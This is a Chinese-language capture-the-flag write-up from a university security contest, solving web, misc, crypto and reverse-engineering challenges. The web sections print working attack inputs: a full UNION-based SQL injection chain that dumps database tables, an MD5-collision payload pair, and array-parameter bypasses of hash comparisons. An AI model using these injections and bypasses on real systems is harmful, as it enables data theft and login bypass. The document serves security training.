土肥原贤二

题目类别:Web 题目目标:sql 注入

先测试 1‘ 1’‘ 发现是字符型注入
题目给出是4列 用order by验证一下 正确

  1. -1' union select datebase(),2,3,4 #
  2. 找到当前数据库 luozhen
  3. -1' union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema='luozhen' #
  4. 找到表 flag,goods
  5. -1' union select group_concat(column_name) ,2,3,4 from information_schema.columns where table_name='flag' #
  6. 查看表 内字段
  7. -1' union select id,flag,3,4 from flag #
  8. 得到flag
  9. 20_welcome_19

死亡真相

题目类别:Misc 题目目标:wav隐写+脑洞

使用Adobe Audition CS6打开该wav文件,即可发现明显的flag。

第二届“嘉韦思杯”上海市高校网络安全邀请赛WriteUp - 图1

然后。。。。

第二届“嘉韦思杯”上海市高校网络安全邀请赛WriteUp - 图2

然后在我找了一大圈之后。。。终于。。。

将下划线替换成0然后进行md5解密

第二届“嘉韦思杯”上海市高校网络安全邀请赛WriteUp - 图3

收工。。。

吴佩孚

题目类别:MISC|Web 题目目标:略

base64解密 发现是一堆符号 jsfuck 直接丢进控制台 得到flag
“flag{sdf465454dfgert32}”

日军空袭

题目类别:Crypto 题目目标:解密Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSWFJteFZVMjA1VjAxV2JETlhhMk0xVmpKS1NHVkVRbUZXVmxsM1ZqQmFTMlJIVmtkWGJGcHBWa1phZVZadGVGWmxSbGw1Vkd0c2FsSnRhRzlVVm1oRFZWWmFkR05GZEZSTlZXdzFWVEowVjFaWFNraGhSemxWVmpOT00xcFZXbXRXTVhCRlZXeHdWMDFFUlRCV2Fra3hVakZhV0ZOcmFGWmlhMHBYV1d4b1UwMHhWWGhYYlhSWFRWWndNRlZ0ZUZOVWJVWTJVbFJDVjJFeVRYaFdSRVpyVTBaT2NscEhjRk5XUjNob1YxZDRiMVV4VWtkWGJrNVlZbGhTV0ZSV1pEQk9iR3hXVjJ4T1ZXSkdjRlpXYlhoelZqRmFObEZZYUZkU1JYQklWbXBHVDFkV2NFZGhSMnhUWVROQ1dsWXhXbXROUjFGNVZXNU9hbEp0VWxsWmJGWmhZMnhXY1ZKdFJsUlNiR3cxVkZaU1UxWnJNWEpqUm1oV1RXNVNNMVpxU2t0V1ZrcFpXa1p3VjFKWVFrbFdiWEJIVkRGa1YyTkZaR2hTTW5oVVdWUk9RMWRzV1hoWGJYUk9VbTE0V0ZaWGRHdFdNV1JJWVVac1dtSkhhRlJXTUZwVFZqRndSMVJ0ZUdsU2JYY3hWa1phVTFVeFduSk5XRXBxVWxkNGFGVXdhRU5TUmxweFUydGFiRlpzU2xwWlZWcHJZVWRGZWxGcmJGZGlXRUpJVmtSS1UxWXhXblZWYldoVFlYcFdlbGRYZUc5aU1XUkhWMjVTVGxkSFVsWlVWbHBIVFRGU2MxWnRkRmRpVlhCNVdUQmFjMWR0U2tkWGJXaGFUVlp3ZWxreU1VZFNiRkp6Vkcxc1UySnJTbUZXTW5oWFdWWlJlRmRzYUZSaVJuQnhWV3hrVTFsV1VsWlhiVVpyWWtad2VGVnRkREJWTWtwSVZXcENXbFpXY0hKWlZXUkdaVWRPU0U5V2FHaE5WbkJ2Vm10U1MxUXlUWGxVYTFwaFVqSm9WRlJYTVc5bGJHUllaVWM1YVUxWFVucFdNV2h2VjBkS1dWVnJPVlppVkVVd1ZqQmFZVmRIVWtoa1JtUnBWbGhDU2xkV1ZtOVVNVnAwVW01S1QxWnNTbGhVVlZwM1ZrWmFjVkp0ZEd0V2JrSkhWR3hhVDJGV1NuUlBWRTVYVFc1b1dGbFVRWGhUUmtweVdrWm9hV0Y2Vm5oV1ZFSnZVVEZzVjFWc1dsaGlWVnB6V1d0YWQyVkdWWGxrUjNSb1lsVndWMWx1Y0V0V2JGbDZZVVJPV21FeVVrZGFWM2hIWTIxS1IyRkdhRlJTVlhCS1ZtMTBVMU14VlhoWFdHaFhZbXhhVjFsc2FFTldSbXhaWTBaa2EwMVdjREJaTUZZd1lWVXhXRlZyYUZkTmFsWlVWa2Q0UzFKc1pIVlRiRlpYWWtoQ05sWkhlR0ZaVm1SR1RsWmFVRlp0YUZSWmJGcExVMnhhYzFwRVVtcE5WMUl3VlRKMGIyRkdTbk5UYlVaVlZteHdNMVpyV21GalZrcDFXa1pPVGxacmIzZFhiRlpyWXpGVmVWTnNiRnBOTW1oWVZGWmFTMVZHY0VWU2EzQnNVbTFTV2xkclZURldNVnB6WTBaV1dGWXpVbkpXVkVaelZqRldjMWRzYUdsV1ZuQlFWa1phWVdReVZrZFdibEpzVTBkU2NGVnFRbmRXTVZsNVpFaGtWMDFFUmpGWlZWSlBWMjFGZVZWclpHRldNMmhJV1RKemVGWXhjRWRhUlRWT1VsaENTMVp0TVRCVk1VMTRWVzVTVjJFeVVtaFZNRnBoVmpGc2MxcEVVbGRTYlhoYVdUQmFhMWRHV25OalJteGFUVVpWTVZsV1ZYaFhSbFp6WVVaa1RsWXlhREpXTVZwaFV6RkplRlJ1VmxKaVJscFlXV3RvUTFkV1draGtSMFpvVFdzMWVsWXlOVk5oTVVsNVlVWm9XbFpGTlVSVk1WcHJWbFpHZEZKc1drNVdNVWwzVmxkNGIySXhXWGhhUldob1VtMW9WbFpzV25kTk1XeFdWMjVrVTJKSVFraFdSM2hUVlRKRmVsRllaRmhpUmxweVdYcEdWbVZXVG5KYVIyaE9UVzFvV1ZaR1l6RlZNV1JIVjJ4V1UyRXhjSE5WYlRGVFYyeGtjbFpVUmxkTmEzQktWVmMxYjFZeFdqWlNWRUpoVWtWYWNsVnFTa3RUVmxKMFlVWk9hR1ZzV2pSV2JUQjRaV3N4V0ZadVRsaGlSMmh4V2xkNFlWWXhVbGRYYlVaWFZteHdlbGxWYUd0V2F6RldWbXBTVjJKWVFtaFdiVEZHWkRGYWRWUnNWbGRTVlhCVVYxZDBWbVF5VVhoV2JGSlhWMGhDVkZWV1RsWmxiRXBFVmxod1UxRlRWWHBTUTFWNlVrRWxNMFFsTTBRJTNE

观察代码,发现属于Base加密模式,那么利用脚本筛选是Base64还是Base32还是Base16,这里经过测试发现最后其实都是Base64

import base64

file_object = open('enc.txt') 
file_context = file_object.read()

mid_1=base64.b64decode(file_context).replace('%3D','=')
mid_2=base64.b64decode(mid_1).replace('%3D','=')
mid_3=base64.b64decode(mid_2).replace('%3D','=')
mid_4=base64.b64decode(mid_3).replace('%3D','=')
mid_5=base64.b64decode(mid_4).replace('%3D','=')
mid_6=base64.b64decode(mid_5).replace('%3D','=')
mid_7=base64.b64decode(mid_6).replace('%3D','=')
mid_8=base64.b64decode(mid_7).replace('%3D','=')
mid_9=base64.b64decode(mid_8).replace('%3D','=')
mid_10=base64.b64decode(mid_9).replace('%3D','=')
mid_11=base64.b64decode(mid_10).replace('%3D','=')
mid_12=base64.b64decode(mid_11).replace('%3D','=')
mid_13=base64.b64decode(mid_12).replace('%3D','=')
mid_14=base64.b64decode(mid_13).replace('%3D','=')
mid_15=base64.b64decode(mid_14).replace('%3D','=')
print(mid_15)

最后得到fB__l621a4h4g_ai%7B%26i%7D,URL解密+栅栏解密即可

第二届“嘉韦思杯”上海市高校网络安全邀请赛WriteUp - 图4

第二届“嘉韦思杯”上海市高校网络安全邀请赛WriteUp - 图5

戴星炳

题目类别:Web 题目目标:快速计算并返回指定字符串的结果

Python中的eval函数可以快速计算字符串算式。

Python eval() 函数
Python 内置函数
描述
eval() 函数用来执行一个字符串表达式,并返回表达式的值。
语法
以下是 eval() 方法的语法:
eval(expression[, globals[, locals]])
参数
expression -- 表达式。
globals -- 变量作用域,全局命名空间,如果被提供,则必须是一个字典对象。
locals -- 变量作用域,局部命名空间,如果被提供,可以是任何映射对象。
返回值
返回表达式计算结果。

因此结合requests包,EXP如下:

import requests

test=requests.get('http://47.103.43.235:82/web/a/index.php')
result=requests.post('http://47.103.43.235:82/web/a/index.php', data={'result': eval((test.text)[40:98])})
print(result.text)

第二届“嘉韦思杯”上海市高校网络安全邀请赛WriteUp - 图6

大美晚报

题目类别:Misc 题目目标:从二维码中提取隐藏信息

扫描二维码,发现没有任何提示性信息

第二届“嘉韦思杯”上海市高校网络安全邀请赛WriteUp - 图7

查看十六进制,发现ZIP文件头50 4B 03 04,提取

第二届“嘉韦思杯”上海市高校网络安全邀请赛WriteUp - 图8

使用WinRAR打开

第二届“嘉韦思杯”上海市高校网络安全邀请赛WriteUp - 图9

所以密码必定为1-10位的纯数字,爆破

第二届“嘉韦思杯”上海市高校网络安全邀请赛WriteUp - 图10

解压即可获得Flag

潘汉年

题目类别:Crypto 题目目标:解密bg[sZ*Zg'dPfPVM_SXVd

因为题目中提示了Tips:flag格式为 flag{xxx}

那么一定存在以下关系

bg[`sZ*Zg'dPfP`VM_SXVd
flag{xxxxxxxxxxxxxxxx}

那么转换为ASCII码

98  103  91  96  115
102 108  97  103 123

发现它们的差满足

4 5 6 7 8

那么尝试写出EXP

enc_text="bg[`sZ*Zg'dPfP`VM_SXVd"
flag=""
offset=4
for i in enc_text:
    flag += chr(ord(i)+offset) 
    offset=offset+1
print(flag)

第二届“嘉韦思杯”上海市高校网络安全邀请赛WriteUp - 图11

袁殊

题目类别:Crypto 题目目标:RSA_Attack

发现题目中给出的key文件过短,那么使用opensssl提取n、e

xiaolan@ubuntu:~/Desktop$ openssl rsa -in gy.key -pubin -text -modulus -noout
Public-Key: (256 bit)
Modulus:
    00:a9:bd:4c:7a:77:63:37:0a:04:2f:e6:be:c7:dd:
    c8:41:60:2d:b9:42:c7:a3:62:d1:b5:d3:72:a4:d0:
    89:12:d9
Exponent: 65537 (0x10001)
Modulus=A9BD4C7A7763370A042FE6BEC7DDC841602DB942C7A362D1B5D372A4D08912D9

然后使用factordb分解,发现分解成功

第二届“嘉韦思杯”上海市高校网络安全邀请赛WriteUp - 图12

于是EXP如下:

# coding = utf-8
import gmpy2
import math
import libnum
p = 273821108020968288372911424519201044333
q = 280385007186315115828483000867559983517
e = 65537
c = 0x8DDBF10EB814BBE60CB05957A2445AE99F11A1E6EE33877082D8D2B01428D731
l = (p-1) * (q-1)
d = gmpy2.invert(e,l)
n=p*q
m = pow(c,d,n)
print n
print libnum.n2s(m)

第二届“嘉韦思杯”上海市高校网络安全邀请赛WriteUp - 图13

晴气庆胤

题目类别:Web 题目目标:略

直接给两个输入框 先看源码发现

if ((string)$_POST['paraml']!==(string)$_POST['param2']&&md5($_POST['paraml'])===md5($_POST['param2']))

需要md5碰撞 但是 前边的判断转换为string类型
这个时候我们需要生成了两个不一样的txt文件,却有着相同的md5值
payload如下

param1=
%D89%A4%FD%14%EC%0EL%1A%FEG%ED%5B%D0%C0%7D%CAh%16%B4%DFl%08Z%FA%1DA%05i%29%C4%FF%80%11%14%E8jk5%0DK%DAa%FC%2B%DC%9F%95ab%D2%09P%A1%5D%12%3B%1ETZ%AA%92%16y%29%CC%7DV%3A%FF%B8e%7FK%D6%CD%1D%DF/a%DE%27%29%EF%08%FC%C0%15%D1%1B%14%C1LYy%B2%F9%88%DF%E2%5B%9E%7D%04c%B1%B0%AFj%1E%7Ch%B0%96%A7%E5U%EBn1q%CA%D0%8B%C7%1BSP
¶m2=
%D89%A4%FD%14%EC%0EL%1A%FEG%ED%5B%D0%C0%7D%CAh%164%DFl%08Z%FA%1DA%05i%29%C4%FF%80%11%14%E8jk5%0DK%DAa%FC%2B%5C%A0%95ab%D2%09P%A1%5D%12%3B%1ET%DA%AA%92%16y%29%CC%7DV%3A%FF%B8e%7FK%D6%CD%1D%DF/a%DE%27%29o%08%FC%C0%15%D1%1B%14%C1LYy%B2%F9%88%DF%E2%5B%9E%7D%04c%B1%B0%AFj%9E%7Bh%B0%96%A7%E5U%EBn1q%CA%D0%0B%C7%1BSP

burp 抓包 返回得到flag
flag{MD5@_@success}

梅津美治郎

题目类别:Reverse 题目目标:略

无壳PE程序,使用IDA分析,发现程序中存在如下逻辑:

第二届“嘉韦思杯”上海市高校网络安全邀请赛WriteUp - 图14

那么尝试运行程序并输入r0b0RUlez!,发现程序存在第二层验证

第二届“嘉韦思杯”上海市高校网络安全邀请赛WriteUp - 图15

查看字符串窗口发现没有目标字符串

第二届“嘉韦思杯”上海市高校网络安全邀请赛WriteUp - 图16

查看scanf函数的交叉引用,发现除了_main函数调用了scanf以外,还有sub_40157F也调用了scanf

分析sub_40157F,发现了

但是dword_40AD98在静态分析看不到,于是动调。(断点下在_main函数内部)

PS:Windows下动调需要保证路径是合法状态~不得含有中文及空格

第二届“嘉韦思杯”上海市高校网络安全邀请赛WriteUp - 图17

第二届“嘉韦思杯”上海市高校网络安全邀请赛WriteUp - 图18

第二届“嘉韦思杯”上海市高校网络安全邀请赛WriteUp - 图19

于是尝试处理框起来的字符,处理方式为逐字符异或2

第二届“嘉韦思杯”上海市高校网络安全邀请赛WriteUp - 图20

#include<bits/stdc++.h>
using namespace std;
int main()
{
    string enc_text="u1nnf2lg";
    for(int i=0;i<enc_text.length();i++){
        enc_text[i]=enc_text[i]^2;
    }
    cout<<enc_text;
    return 0;
}

第二届“嘉韦思杯”上海市高校网络安全邀请赛WriteUp - 图21

尝试输入

第二届“嘉韦思杯”上海市高校网络安全邀请赛WriteUp - 图22

于是,flag为flag{r0b0RUlez!_w3lld0ne}

池步洲

题目类别:Web 题目目标:略

直接数组绕过 post name[]=1&passwords[]=2
得到flag flag{Y0u_just_br0ke_sha1}